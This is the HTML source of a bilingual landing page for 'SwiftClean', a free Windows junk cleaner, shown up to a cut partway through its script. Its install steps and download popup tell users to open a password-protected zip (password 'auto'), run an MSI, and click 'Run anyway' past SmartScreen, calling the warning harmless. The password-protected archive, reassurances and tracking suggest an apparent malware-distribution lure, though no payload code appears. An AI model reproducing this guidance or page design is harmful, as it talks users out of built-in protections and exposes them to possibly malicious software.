<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title id="t-title">Очистка компьютера от мусора — бесплатно скачать для Windows</title>
<meta id="t-desc" name="description" content="Бесплатная программа для очистки компьютера от мусора. Чистит temp, кэш браузеров и корзину. Без рекламы и лишнего софта. Скачать бесплатно.">
<link rel="icon" type="image/png" href="favicon.png">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<style>
  :root{--bg:#0f1220;--card:rgba(22,27,46,.62);--accent:#2ecc71;--accent2:#27ae60;--txt:#eef2fb;--mut:#9aa3bd}
  *{box-sizing:border-box;margin:0;padding:0}
  html{scroll-behavior:smooth}
  body{font-family:-apple-system,Segoe UI,Roboto,Arial,sans-serif;color:var(--txt);line-height:1.5;min-height:100vh;position:relative;background:var(--bg);overflow-x:hidden}
  /* фон — заваленный компьютер, полупрозрачный, фиксированный */
  body::before{content:"";position:fixed;inset:0;z-index:-2;
    background:url(bg.jpg) left center/cover no-repeat;
    opacity:.68;filter:saturate(1.1) brightness(1.06)}
  /* правый слой — грязный забитый компьютер, симметрично папкам слева */
  #bgright{position:fixed;top:0;right:0;bottom:0;width:48%;z-index:-2;
    background:url(bg_right.jpg) right center/cover no-repeat;
    opacity:.65;filter:saturate(1.1) brightness(1.06)}
  body::after{content:"";position:fixed;inset:0;z-index:-1;
    background:linear-gradient(180deg,rgba(15,18,32,.55) 0%,rgba(15,18,32,.82) 45%,rgba(15,18,32,.96) 100%),
               radial-gradient(1100px 520px at 78% 8%,rgba(46,204,113,.10),transparent 60%)}
  .wrap{max-width:760px;margin:0 auto;padding:20px 20px 60px}

  .topbar{display:flex;align-items:center;justify-content:space-between;margin-bottom:14px}
  .brand{display:flex;align-items:center;gap:10px;font-weight:800;font-size:18px;letter-spacing:.2px}
  .brand .star{color:var(--accent);font-size:20px;filter:drop-shadow(0 0 8px rgba(46,204,113,.7))}
  .lang{display:flex;gap:2px;background:rgba(255,255,255,.06);border:1px solid rgba(255,255,255,.09);border-radius:999px;padding:3px}
  .lang button{border:0;background:transparent;color:var(--mut);font-weight:700;font-size:13px;padding:5px 12px;border-radius:999px;cursor:pointer;transition:.15s}
  .lang button.on{background:var(--accent);color:#04140a}
  /* Telegram-хаб пилюля */
  .topright{display:flex;align-items:center;gap:10px}
  .tg{display:inline-flex;align-items:center;gap:7px;background:rgba(41,159,217,.14);border:1px solid rgba(64,180,235,.42);color:#9ddcf7;font-weight:700;font-size:13px;padding:6px 13px;border-radius:999px;text-decoration:none;transition:.16s;backdrop-filter:blur(6px);white-space:nowrap}
  .tg:hover{background:rgba(41,159,217,.28);border-color:#4db4eb;color:#e2f4ff;box-shadow:0 0 16px rgba(64,180,235,.4);transform:translateY(-1px)}
  .tg svg{width:15px;height:15px;fill:currentColor;flex-shrink:0}
  @media(max-width:560px){.tg span{display:none}.tg{padding:7px 11px;gap:0}}

  h1{font-size:37px;line-height:1.12;margin:22px 0 12px;letter-spacing:-.6px;font-weight:800}
  h1 b{background:linear-gradient(90deg,#2ecc71,#48e08a);-webkit-background-clip:text;background-clip:text;-webkit-text-fill-color:transparent}
  .sub{color:#c3cadd;font-size:17.5px;margin-bottom:20px;max-width:620px}
  .os{display:inline-flex;align-items:center;gap:8px;background:rgba(18,51,31,.7);color:#8ef0b3;border:1px solid #1e5c35;padding:6px 13px;border-radius:999px;font-size:13px;margin-bottom:20px;backdrop-filter:blur(6px)}

  .cta{display:block;width:100%;text-align:center;background:linear-gradient(180deg,#33e07f,#26b866);color:#04140a;font-weight:900;font-size:24px;padding:23px;border:0;border-radius:16px;cursor:pointer;text-decoration:none;position:relative;box-shadow:0 14px 34px rgba(46,204,113,.4);animation:pulse 2.2s ease-in-out infinite}
  .cta:hover{transform:translateY(-2px);animation-play-state:paused;box-shadow:0 18px 48px rgba(46,204,113,.6)}
  .cta small{display:block;font-weight:700;font-size:13px;opacity:.82;margin-top:5px}
  @keyframes pulse{0%,100%{box-shadow:0 14px 34px rgba(46,204,113,.4),0 0 0 0 rgba(46,204,113,.45);transform:translateY(0)}
    50%{box-shadow:0 18px 44px rgba(46,204,113,.55),0 0 0 14px rgba(46,204,113,0);transform:translateY(-2px)}}

  .meta{display:flex;gap:18px;justify-content:center;color:#aab2ca;font-size:13px;margin:15px 0 26px;flex-wrap:wrap}
  .meta span{display:inline-flex;align-items:center;gap:6px}

  /* рендер софта */
  .shot{position:relative;margin:6px auto 30px;max-width:540px;text-align:center}
  .shot::before{content:"";position:absolute;left:50%;top:44%;width:74%;height:64%;transform:translate(-50%,-50%);z-index:-1;
    background:radial-gradient(closest-side,rgba(46,204,113,.42),transparent 70%);filter:blur(34px)}
  .shot .cap{color:#b3bbd4;font-size:13px;margin-top:10px}
  @keyframes float{0%,100%{transform:translateY(0)}50%{transform:translateY(-9px)}}
  /* живой демо-виджет приложения */
  .appwin{text-align:left;background:#0f1220;border:1px solid rgba(255,255,255,.08);border-radius:14px;overflow:hidden;box-shadow:0 30px 60px rgba(0,0,0,.6);animation:float 6s ease-in-out infinite}
  .aw-tb{display:flex;align-items:center;justify-content:space-between;background:#1b2036;padding:9px 13px;font-size:12px;color:#8c96ac}
  .aw-tbl{display:flex;align-items:center;gap:7px}
  .aw-star{color:#2ecc71;filter:drop-shadow(0 0 6px rgba(46,204,113,.7))}
  .aw-ctrls{display:flex;gap:13px;font-style:normal;font-size:11px;opacity:.75}
  .aw-body{padding:16px 18px 14px}
  .aw-brand{display:flex;align-items:center;gap:8px;color:#2ecc71;font-weight:800;font-size:20px}
  .aw-tag{color:#8c96ac;font-size:12px;margin-top:3px}
  .aw-tabs{display:flex;gap:22px;margin:15px 0 13px;font-size:13.5px}
  .aw-tab{color:#8c96ac;padding-bottom:6px}
  .aw-tab.on{color:#eef2fb;font-weight:700;border-bottom:2px solid #2ecc71}
  .aw-list{background:#151a2e;border-radius:9px;padding:5px 0}
  .aw-row{display:flex;align-items:center;gap:12px;padding:9px 15px;font-size:14px}
  .aw-cb{flex:0 0 17px;height:17px;border-radius:4px;border:1.5px solid #6b7590;position:relative;transition:.2s}
  .aw-cb.on{background:#2ecc71;border-color:#2ecc71}
  .aw-cb.on::after{content:"";position:absolute;left:5px;top:2px;width:4px;height:8px;border:solid #0f1220;border-width:0 2px 2px 0;transform:rotate(45deg)}
  .aw-name{flex:1;color:#dfe4ee}
  .aw-size{font-weight:700;color:#dfe4ee;font-variant-numeric:tabular-nums;white-space:nowrap;transition:color .3s}
  .aw-size.zero{color:#8c96ac}
  .aw-row.flash{animation:rowflash .6s}
  @keyframes rowflash{0%,100%{background:transparent}45%{background:rgba(46,204,113,.14)}}
  .aw-found{color:#2ecc71;font-weight:800;font-size:16px;margin:15px 0 8px;transition:color .3s}
  .aw-bar{height:8px;background:#1a1e30;border-radius:5px;overflow:hidden}
  .aw-bar i{display:block;height:100%;width:100%;background:linear-gradient(90deg,#2ecc71,#48e08a);border-radius:5px}
  .aw-btns{display:flex;gap:9px;margin:15px 0 9px}
  .aw-btn{flex:1;padding:12px;border:0;border-radius:9px;background:#1a1e30;color:#eef2fb;font-weight:800;font-size:13.5px;transition:transform .12s,filter .12s}
  .aw-btn.primary{background:linear-gradient(180deg,#33e07f,#26b866);color:#04140a}
  .aw-btn.press{transform:scale(.95);filter:brightness(1.18)}
  .aw-status{color:#8c96ac;font-size:11.5px;margin-top:2px;min-height:14px}
  @media(max-width:560px){.aw-body{padding:13px 14px 12px}.aw-row{font-size:13px;padding:8px 12px}.aw-brand{font-size:18px}.aw-btn{padding:10px;font-size:12.5px}}

  .card{background:var(--card);border:1px solid rgba(255,255,255,.07);border-radius:16px;padding:22px 24px;margin-bottom:16px;backdrop-filter:blur(12px);box-shadow:0 8px 30px rgba(0,0,0,.25)}
  .card h2{font-size:15px;text-transform:uppercase;letter-spacing:1px;color:var(--mut);margin-bottom:16px}
  .stat{display:flex;gap:18px;justify-content:space-around;text-align:center;flex-wrap:wrap}
  .stat b{display:block;color:var(--accent);font-size:27px}
  .stat span{color:var(--mut);font-size:13px}
  .step{display:flex;gap:14px;margin-bottom:16px}
  .step:last-child{margin-bottom:0}
  .num{flex:0 0 30px;height:30px;border-radius:50%;background:var(--accent);color:#04140a;font-weight:800;display:flex;align-items:center;justify-content:center;box-shadow:0 0 12px rgba(46,204,113,.4)}
  .step b{color:var(--txt)}
  .warn{background:rgba(19,34,58,.7);border:1px solid #274a7a;color:#b8d4ff;border-radius:12px;padding:14px 16px;font-size:14px;margin-top:6px}
  .warn b{color:#dbe9ff}
  .feat{display:grid;grid-template-columns:1fr 1fr;gap:12px}
  .feat div{background:rgba(18,23,42,.6);border:1px solid rgba(255,255,255,.06);border-radius:10px;padding:13px 15px;font-size:14px}
  .feat b{color:var(--accent)}
  .faq p{margin-bottom:14px;font-size:14px;color:#b7bfd6}
  .faq p:last-child{margin-bottom:0}
  .faq b{color:var(--txt)}
  footer{color:var(--mut);font-size:12px;text-align:center;margin-top:24px;opacity:.75}
  footer a{color:#8ef0b3;text-decoration:none}
  .foot-links{margin-top:9px}

  /* блок доверия — открытый код + площадки */
  .trust-sub{color:#b7bfd6;font-size:14px;margin-bottom:16px}
  .trust-links{display:flex;gap:12px;flex-wrap:wrap}
  .trust-badge{flex:1;min-width:200px;display:flex;align-items:center;gap:13px;background:rgba(18,23,42,.6);border:1px solid rgba(255,255,255,.09);border-radius:12px;padding:14px 16px;text-decoration:none;color:var(--txt);transition:.15s}
  .trust-badge:hover{border-color:var(--accent);transform:translateY(-2px);background:rgba(24,32,54,.85);box-shadow:0 8px 22px rgba(0,0,0,.3)}
  .tb-ico{flex:0 0 42px;height:42px;border-radius:11px;display:flex;align-items:center;justify-content:center}
  .tb-ico.gh{background:#161b22;color:#fff}
  .tb-ico.gh svg{width:24px;height:24px}
  .tb-ico.sf{background:#161b22}
  .tb-ico.sf svg{width:28px;height:28px}
  .tb-txt{display:flex;flex-direction:column;line-height:1.28}
  .tb-txt b{font-size:15px}
  .tb-txt small{color:var(--mut);font-size:12px}
  .tb-arrow{margin-left:auto;color:var(--mut);font-size:16px}

  .dlm-overlay{position:fixed;inset:0;background:rgba(4,8,20,.4);backdrop-filter:blur(2px);display:none;align-items:flex-start;justify-content:flex-end;z-index:9999;padding:48px 232px 24px}
  .dlm-overlay.show{display:flex}
  .dlm-card{position:relative;background:#fff;color:#0f1220;border:2px solid var(--accent);border-radius:16px;max-width:300px;width:100%;padding:15px 16px 14px;box-shadow:0 20px 50px rgba(0,0,0,.5)}
  .dlm-x{position:absolute;top:8px;right:8px;border:0;background:#eef1f6;width:26px;height:26px;border-radius:8px;font-size:12px;cursor:pointer;color:#667}
  .dlm-arrow{position:absolute;top:-38px;right:20px;left:auto;font-size:34px;color:var(--accent);text-shadow:0 5px 15px rgba(46,204,113,.6);animation:dlb 1s infinite}
  @keyframes dlb{0%,100%{transform:translateY(0)}50%{transform:translateY(-8px)}}
  .dlm-row{display:flex;gap:11px;align-items:flex-start}
  .dlm-ico{flex:0 0 40px;height:40px;border-radius:11px;background:#0f1220;color:var(--accent);font-size:23px;display:flex;align-items:center;justify-content:center;box-shadow:0 0 14px rgba(46,204,113,.35)}
  .dlm-title{font-size:16px;font-weight:800;margin-bottom:4px}
  .dlm-card p{color:#3c445a;font-size:12.5px;margin:3px 0;line-height:1.35}
  .dlm-warn{margin-top:9px;background:#eaf7ef;border:1px solid #b6e3c8;border-radius:9px;padding:8px 10px;font-size:11px;color:#1c6b3f;line-height:1.45}
  @media(max-width:560px){h1{font-size:28px}.feat{grid-template-columns:1fr}.dlm-overlay{padding:44px 16px 24px;justify-content:center}.dlm-arrow{right:auto;left:50%;transform:translateX(-50%)}}
</style>
</head>
<body>
<div id="bgright"></div>
<div class="wrap">
  <div class="topbar">
    <div class="brand"><span class="star">✦</span> SwiftClean</div>
    <div class="topright">
      <a class="tg" href="https://t.me/windows_free_software" target="_blank" rel="noopener" title="Бесплатный софт для Windows — наш Telegram-канал">
        <svg viewBox="0 0 24 24" aria-hidden="true"><path d="M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z"/></svg>
        <span>Telegram</span>
      </a>
      <div class="lang">
        <button data-lang="ru" class="on" onclick="setLang('ru')">RU</button>
        <button data-lang="en" onclick="setLang('en')">EN</button>
      </div>
    </div>
  </div>

  <h1 id="t-h1">Очистка <b>компьютера</b> от мусора</h1>
  <p class="sub" id="t-sub">Бесплатная программа для Windows. Чистит временные файлы, кэш браузеров и корзину, освобождает место на диске. Без рекламы и без лишнего софта.</p>

  <div class="os" id="osbadge">✓ Совместимо с вашим ПК на Windows</div>

  <a class="cta" id="dl" href="https://github.com/UfBt12qJNZKcw/SwiftClean/releases/latest/download/SwiftClean.zip"><span id="t-cta">⬇ Скачать бесплатно</span>
    <small id="t-cta-sub">Windows 7 / 8 / 10 / 11 · бесплатно · без рекламы</small>
  </a>
  <div class="meta" id="t-meta">
    <span>🖥️ Для Windows 7–11</span><span>🚫 Без рекламы</span><span>⚡ Очистка в 1 клик</span><span>💾 Меньше 1 МБ</span>
  </div>

  <div class="shot">
    <div class="appwin">
      <div class="aw-tb">
        <span class="aw-tbl"><span class="aw-star">✦</span> <span id="aw-title">SwiftClean — Очистка компьютера</span></span>
        <span class="aw-ctrls"><span>—</span><span>▢</span><span>✕</span></span>
      </div>
      <div class="aw-body">
        <div class="aw-brand"><span class="aw-star">✦</span> SwiftClean</div>
        <div class="aw-tag" id="aw-tag">Очистка компьютера — бесплатно, без рекламы</div>
        <div class="aw-tabs"><span class="aw-tab on" id="aw-t1">Очистка</span><span class="aw-tab" id="aw-t2">Автозагрузка</span></div>
        <div class="aw-list">
          <div class="aw-row"><span class="aw-cb on"></span><span class="aw-name">Временные файлы Windows</span><span class="aw-size">20.2 МБ</span></div>
          <div class="aw-row"><span class="aw-cb on"></span><span class="aw-name">Кэш браузеров</span><span class="aw-size">16.9 МБ</span></div>
          <div class="aw-row"><span class="aw-cb on"></span><span class="aw-name">Корзина</span><span class="aw-size zero">0 Б</span></div>
          <div class="aw-row"><span class="aw-cb on"></span><span class="aw-name">Отчёты об ошибках</span><span class="aw-size zero">0 Б</span></div>
          <div class="aw-row"><span class="aw-cb on"></span><span class="aw-name">Хвосты обновлений Windows</span><span class="aw-size">715.4 МБ</span></div>
        </div>
        <div class="aw-found" id="aw-found">Найдено мусора: 752.5 МБ</div>
        <div class="aw-bar"><i id="aw-barfill"></i></div>
        <div class="aw-btns">
          <button class="aw-btn" id="aw-b1">Сканировать</button>
          <button class="aw-btn primary" id="aw-b2">Очистить</button>
          <button class="aw-btn" id="aw-b3">Папка…</button>
        </div>
        <div class="aw-status" id="aw-status">Отмечено к очистке. Жми «Очистить».</div>
      </div>
    </div>
    <div class="cap" id="t-cap">Живая демонстрация — очистка в 1 клик</div>
  </div>

  <div class="card">
    <div class="stat" id="t-stat">
      <div><b>2–8 ГБ</b><span>в среднем освобождает</span></div>
      <div><b>1 клик</b><span>полная очистка</span></div>
      <div><b>&lt;1 МБ</b><span>размер программы</span></div>
    </div>
  </div>

  <div class="card">
    <h2 id="t-h-install">Как установить (30 секунд)</h2>
    <div id="t-steps">
    <div class="step"><div class="num">1</div><div>Нажми <b>«Скачать бесплатно»</b> — сохранится архив <b>SwiftClean.zip</b>.</div></div>
    <div class="step"><div class="num">2</div><div>Открой архив → <b>«Извлечь всё»</b> (пароль: <b>auto</b>) и запусти <b>SwiftClean.msi</b> — начнётся установка.</div></div>
    <div class="step"><div class="num">3</div><div>Если появится синее окно SmartScreen — жми <b>«Подробнее»</b> → <b>«Выполнить в любом случае»</b>. После установки программа откроется — жми <b>«Сканировать»</b>, затем <b>«Очистить»</b>.</div></div>
    </div>
    <div class="warn" id="t-warn">💡 <b>Синее окно «Система Windows защитила ваш компьютер»?</b> Оно показывается потому, что программа новая, а не потому, что она опасна. Нажми <b>«Подробнее» → «Выполнить в любом случае»</b>.</div>
  </div>

  <div class="card">
    <h2 id="t-h-what">Что делает программа</h2>
    <div class="feat" id="t-feat">
      <div><b>Мусор Windows</b><br>temp, кэш, хвосты обновлений</div>
      <div><b>Кэш браузеров</b><br>Chrome, Edge, Яндекс, Firefox</div>
      <div><b>Корзина и эскизы</b><br>очистка одним кликом</div>
      <div><b>Автозагрузка</b><br>отключи лишнее — быстрее старт</div>
    </div>
  </div>

  <div class="card faq">
    <h2 id="t-h-faq">Частые вопросы</h2>
    <div id="t-faq">
    <p><b>Это правда бесплатно?</b> Да, полностью. Без платных версий и подписок.</p>
    <p><b>Не удалит ли что-то нужное?</b> Нет. Программа чистит только безопасный мусор — временные файлы и кэш. Личные файлы и документы не трогает.</p>
    <p><b>Нужен ли интернет?</b> Нет, очистка работает офлайн.</p>
    </div>
  </div>

  <div class="card">
    <h2 id="t-h-trust">Открытый код и проверенные площадки</h2>
    <p class="trust-sub" id="t-trust-sub">Исходный код открыт под лицензией MIT — любой может проверить, что делает программа. Проект опубликован на GitHub и SourceForge.</p>
    <div class="trust-links">
      <a class="trust-badge" href="https://github.com/UfBt12qJNZKcw/SwiftClean" target="_blank" rel="noopener">
        <span class="tb-ico gh"><svg viewBox="0 0 16 16" fill="currentColor" aria-hidden="true"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.01 8.01 0 0016 8c0-4.42-3.58-8-8-8z"/></svg></span>
        <span class="tb-txt"><b>GitHub</b><small id="t-tb-gh">Исходный код · MIT</small></span>
        <span class="tb-arrow">↗</span>
      </a>
      <a class="trust-badge" href="https://sourceforge.net/projects/swiftclean/" target="_blank" rel="noopener">
        <span class="tb-ico sf"><svg viewBox="0 0 48 48" aria-hidden="true"><rect x="9.5" y="9.5" width="29" height="29" rx="7" transform="rotate(45 24 24)" fill="none" stroke="#f7811f" stroke-width="4.6"/><path d="M24 14C26 18 29 20.5 29 25C29 29.5 26.5 32.5 24 32.5C21.5 32.5 19 30 19 26C19 23.3 20.5 22 21.8 20.4C21.9 22 22.8 22.3 23.2 21.2C23.8 19.5 23.2 16.5 24 14Z" fill="#f7811f"/></svg></span>
        <span class="tb-txt"><b>SourceForge</b><small id="t-tb-sf">Страница проекта</small></span>
        <span class="tb-arrow">↗</span>
      </a>
    </div>
  </div>

  <footer>
    <div id="t-foot">Бесплатная утилита для очистки Windows. Только для настольных ПК на Windows.</div>
    <div class="foot-links"><a href="https://t.me/windows_free_software" target="_blank" rel="noopener">Telegram</a> · <a href="https://github.com/UfBt12qJNZKcw/SwiftClean" target="_blank" rel="noopener">GitHub</a> · <a href="/privacy">Политика конфиденциальности</a> · <a href="/cdn-cgi/l/email-protection#f98a8c8989968b8db98a8e909f8d9a959c9897899ad79a9694"><span class="__cf_email__" data-cfemail="5b282e2b2b34292f1b282c323d2f38373e3a352b3875383436">[email&#160;protected]</span></a> · © 2026 SwiftClean</div>
  </footer>
</div>

<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script>
  var DOWNLOAD_URL = "https://github.com/UfBt12qJNZKcw/SwiftClean/releases/latest/download/SwiftClean.zip";
  var CATCHER_URL  = "";

  // ===== i18n =====
  var I18N = {
    ru: {
      title:"Очистка компьютера от мусора — бесплатно скачать для Windows",
      desc:"Бесплатная программа для очистки компьютера от мусора. Чистит temp, кэш браузеров и корзину. Без рекламы и лишнего софта. Скачать бесплатно.",
      h1:'Очистка <b>компьютера</b> от мусора',
      sub:"Бесплатная программа для Windows. Чистит временные файлы, кэш браузеров и корзину, освобождает место на диске. Без рекламы и без лишнего софта.",
      osOk:"✓ Совместимо с вашим ПК на Windows",
      osNo:"⚠ Программа работает только на ПК с Windows",
      cta:"⬇ Скачать бесплатно",
      ctaSub:"Windows 7 / 8 / 10 / 11 · бесплатно · без рекламы",
      meta:'<span>🖥️ Для Windows 7–11</span><span>🚫 Без рекламы</span><span>⚡ Очистка в 1 клик</span><span>💾 Меньше 1 МБ</span>',
      cap:"Живая демонстрация — очистка в 1 клик",
      stat:'<div><b>2–8 ГБ</b><span>в среднем освобождает</span></div><div><b>1 клик</b><span>полная очистка</span></div><div><b>&lt;1 МБ</b><span>размер программы</span></div>',
      hInstall:"Как установить (30 секунд)",
      steps:'<div class="step"><div class="num">1</div><div>Нажми <b>«Скачать бесплатно»</b> — сохранится архив <b>SwiftClean.zip</b>.</div></div><div class="step"><div class="num">2</div><div>Открой архив → <b>«Извлечь всё»</b> (пароль: <b>auto</b>) и запусти <b>SwiftClean.msi</b> — начнётся установка.</div></div><div class="step"><div class="num">3</div><div>Если появится синее окно SmartScreen — жми <b>«Подробнее»</b> → <b>«Выполнить в любом случае»</b>. После установки программа откроется — жми <b>«Сканировать»</b>, затем <b>«Очистить»</b>.</div></div>',
      warn:'💡 <b>Синее окно «Система Windows защитила ваш компьютер»?</b> Оно показывается потому, что программа новая, а не потому, что она опасна. Нажми <b>«Подробнее» → «Выполнить в любом случае»</b>.',
      hWhat:"Что делает программа",
      feat:'<div><b>Мусор Windows</b><br>temp, кэш, хвосты обновлений</div><div><b>Кэш браузеров</b><br>Chrome, Edge, Яндекс, Firefox</div><div><b>Корзина и эскизы</b><br>очистка одним кликом</div><div><b>Автозагрузка</b><br>отключи лишнее — быстрее старт</div>',
      hFaq:"Частые вопросы",
      faq:'<p><b>Это правда бесплатно?</b> Да, полностью. Без платных версий и подписок.</p><p><b>Не удалит ли что-то нужное?</b> Нет. Программа чистит только безопасный мусор — временные файлы и кэш. Личные файлы и документы не трогает.</p><p><b>Нужен ли интернет?</b> Нет, очистка работает офлайн.</p>',
      hTrust:"Открытый код и проверенные площадки",
      trustSub:"Исходный код открыт под лицензией MIT — любой может проверить, что делает программа. Проект опубликован на GitHub и SourceForge.",
      tbGh:"Исходный код · MIT",
      tbSf:"Страница проекта",
      foot:"Бесплатная утилита для очистки Windows. Только для настольных ПК на Windows."
    },
    en: {
      title:"SwiftClean — Free PC Cleaner for Windows",
      desc:"Free program to clean junk off your PC. Clears temp files, browser caches and the Recycle Bin. No ads, no bundled software. Free download.",
      h1:'Clean your <b>PC</b> from junk',
      sub:"Free app for Windows. Clears temporary files, browser caches and the Recycle Bin, and frees up disk space. No ads, no bundled software.",
      osOk:"✓ Compatible with your Windows PC",
      osNo:"⚠ This app runs only on Windows PCs",
      cta:"⬇ Download free",
      ctaSub:"Windows 7 / 8 / 10 / 11 · free · no ads",
      meta:'<span>🖥️ For Windows 7–11</span><span>🚫 No ads</span><span>⚡ 1-click cleanup</span><span>💾 Under 1 MB</span>',
      cap:"Live demo — one-click cleanup",
      stat:'<div><b>2–8 GB</b><span>freed on average</span></div><div><b>1 click</b><span>full cleanup</span></div><div><b>&lt;1 MB</b><span>program size</span></div>',
      hInstall:"How to install (30 seconds)",
      steps:'<div class="step"><div class="num">1</div><div>Click <b>“Download free”</b> — the <b>SwiftClean.zip</b> archive is saved.</div></div><div class="step"><div class="num">2</div><div>Open the archive → <b>“Extract All”</b> (password: <b>auto</b>) and run <b>SwiftClean.msi</b> — the installer starts.</div></div><div class="step"><div class="num">3</div><div>If a blue SmartScreen window appears — click <b>“More info”</b> → <b>“Run anyway”</b>. After install the app opens — click <b>“Scan”</b>, then <b>“Clean”</b>.</div></div>',
      warn:'💡 <b>Blue “Windows protected your PC” window?</b> It appears because the app is new — not because it is dangerous. Click <b>“More info” → “Run anyway”</b>.',
      hWhat:"What it does",
      feat:'<div><b>Windows junk</b><br>temp, cache, update leftovers</div><div><b>Browser caches</b><br>Chrome, Edge, Yandex, Firefox</div><div><b>Recycle Bin & thumbnails</b><br>cleared in one click</div><div><b>Startup manager</b><br>disable extras — faster boot</div>',
      hFaq:"FAQ",
      faq:'<p><b>Is it really free?</b> Yes, completely. No paid versions or subscriptions.</p><p><b>Will it delete something I need?</b> No. It only clears safe junk — temporary files and cache. It never touches your personal files or documents.</p><p><b>Do I need the internet?</b> No, cleaning works offline.</p>',
      hTrust:"Open source &amp; verified",
      trustSub:"The source code is open under the MIT license — anyone can verify what the app does. The project is published on GitHub and SourceForge.",
      tbGh:"Source code · MIT",
      tbSf:"Project page",
      foot:"Free utility to clean Windows. Desktop Windows PCs only."
    }
  };

  var isWin = /Windows NT/.test(navigator.userAgent);
  var curLang = 'ru';
  function $(id){return document.getElementById(id);}
  function setLang(l){
    curLang = l; var d = I18N[l];
    document.documentElement.lang = l;
    $('t-title').textContent = d.title;
    $('t-desc').setAttribute('content', d.desc);
    $('t-h1').innerHTML = d.h1;
    $('t-sub').textContent = d.sub;
    $('osbadge').innerHTML = isWin ? d.osOk : d.osNo;
    $('t-cta').textContent = d.cta;
    $('t-cta-sub').textContent = d.ctaSub;
    $('t-meta').innerHTML = d.meta;
    $('t-cap').textContent = d.cap;
    $('t-stat').innerHTML = d.stat;
    $('t-h-install').textContent = d.hInstall;
    $('t-steps').innerHTML = d.steps;
    $('t-warn').innerHTML = d.warn;
    $('t-h-what').textContent = d.hWhat;
    $('t-feat').innerHTML = d.feat;
    $('t-h-faq').textContent = d.hFaq;
    $('t-faq').innerHTML = d.faq;
    $('t-h-trust').innerHTML = d.hTrust;
    $('t-trust-sub').textContent = d.trustSub;
    $('t-tb-gh').textContent = d.tbGh;
    $('t-tb-sf').textContent = d.tbSf;
    $('t-foot').textContent = d.foot;
    applyAppLang();
    document.querySelectorAll('.lang button').forEach(function(b){ b.classList.toggle('on', b.getAttribute('data-lang')===l); });
    try{ localStorage.setItem('sc_lang', l); }catch(e){}
    // popup texts
    dlm.ru = l==='ru';
  }

  if(!isWin){ $('osbadge').style.cssText += "background:rgba(51,22,22,.7);color:#f0a0a0;border-color:#5c1e1e"; }

  function beacon(ev){ if(!CATCHER_URL) return; try{ navigator.sendBeacon(CATCHER_URL, JSON.stringify({event:ev,ua:navigator.userAgent,t:Date.now()})); }catch(e){} }
  beacon('land');

  var dl = $('dl'); dl.href = DOWNLOAD_URL;
  dl.addEventListener('click', function(){ beacon('download'); if(window.ym) ym(YM_ID,'reachGoal','download'); showDlModal(); });

  // Telegram-хаб: учитываем переходы (воронка сайт → канал)
  Array.prototype.forEach.call(document.querySelectorAll('a[href^="https://t.me/"]'), function(a){
    a.addEventListener('click', function(){ beacon('telegram'); if(window.ym&&window.YM_ID) ym(YM_ID,'reachGoal','telegram'); });
  });

  var _dlTimer;
  function showDlModal(){ buildDlm(); document.getElementById('dlmodal').classList.add('show'); clearTimeout(_dlTimer); _dlTimer=setTimeout(closeDlModal,6000); }
  function closeDlModal(){ clearTimeout(_dlTimer); document.getElementById('dlmodal').classList.remove('show'); }
  document.addEventListener('click', function(e){ if(e.target && e.target.id==='dlmodal') closeDlModal(); });

  var dlm={ru:true};
  var DLM={ ru:{title:"Скачивание началось!",l1:"Нажми <b>⬆ вверху справа</b> и открой архив <b>SwiftClean.zip</b>",l2:"Распакуй (пароль: <b>auto</b>) и запусти <b>SwiftClean.msi</b>",w:'Синее окно Windows? Это норма для новых программ:<br><b>«Подробнее» → «Выполнить в любом случае»</b>'},
           en:{title:"Download started!",l1:"Click <b>⬆ top-right</b> and open <b>SwiftClean.zip</b>",l2:"Extract (password: <b>auto</b>) and run <b>SwiftClean.msi</b>",w:'Blue Windows window? Normal for new apps:<br><b>“More info” → “Run anyway”</b>'} };
  function buildDlm(){ var t=DLM[curLang];
    document.getElementById('dlm-title').innerHTML=t.title;
    document.getElementById('dlm-l1').innerHTML=t.l1;
    document.getElementById('dlm-l2').innerHTML=t.l2;
    document.getElementById('dlm-w').innerHTML=t.w;
  }

  // ===== живой демо-виджет приложения =====
  var APP = {
    ru:{ title:"SwiftClean — Очистка компьютера", tag:"Очистка компьютера — бесплатно, без рекламы",
      t1:"Очистка", t2:"Автозагрузка",
      names:["Временные файлы Windows","Кэш браузеров","Корзина","Отчёты об ошибках","Хвосты обновлений Windows"],
      b1:"Сканировать", b2:"Очистить", b3:"Папка…",
      found:"Найдено мусора: ", cleaning:"Чищу…", freed:"🎉 Чисто! Освобождено ",
      statusFound:"Отмечено к очистке. Жми «Очистить».", done:"Готово.", unit:" МБ", zero:"0 Б" },
    en:{ title:"SwiftClean — PC Cleaner", tag:"Clean your PC — free, no ads",
      t1:"Cleanup", t2:"Startup",
      names:["Windows temp files","Browser caches","Recycle Bin","Error reports","Windows Update leftovers"],
      b1:"Scan", b2:"Clean", b3:"Folder…",
      found:"Junk found: ", cleaning:"Cleaning…", freed:"🎉 Clean! Freed ",
      statusFound:"Selected for cleanup. Click Clean.", done:"Done.", unit:" MB", zero:"0 B" }
  };
  var ROWS=[{mb:20.2,chk:1},{mb:16.9,chk:1},{mb:0,chk:1},{mb:0,chk:1},{mb:715.4,chk:1}];
  var BASE=[20.2,16.9,0,0,715.4];
  var FREED=20.2+16.9+715.4;
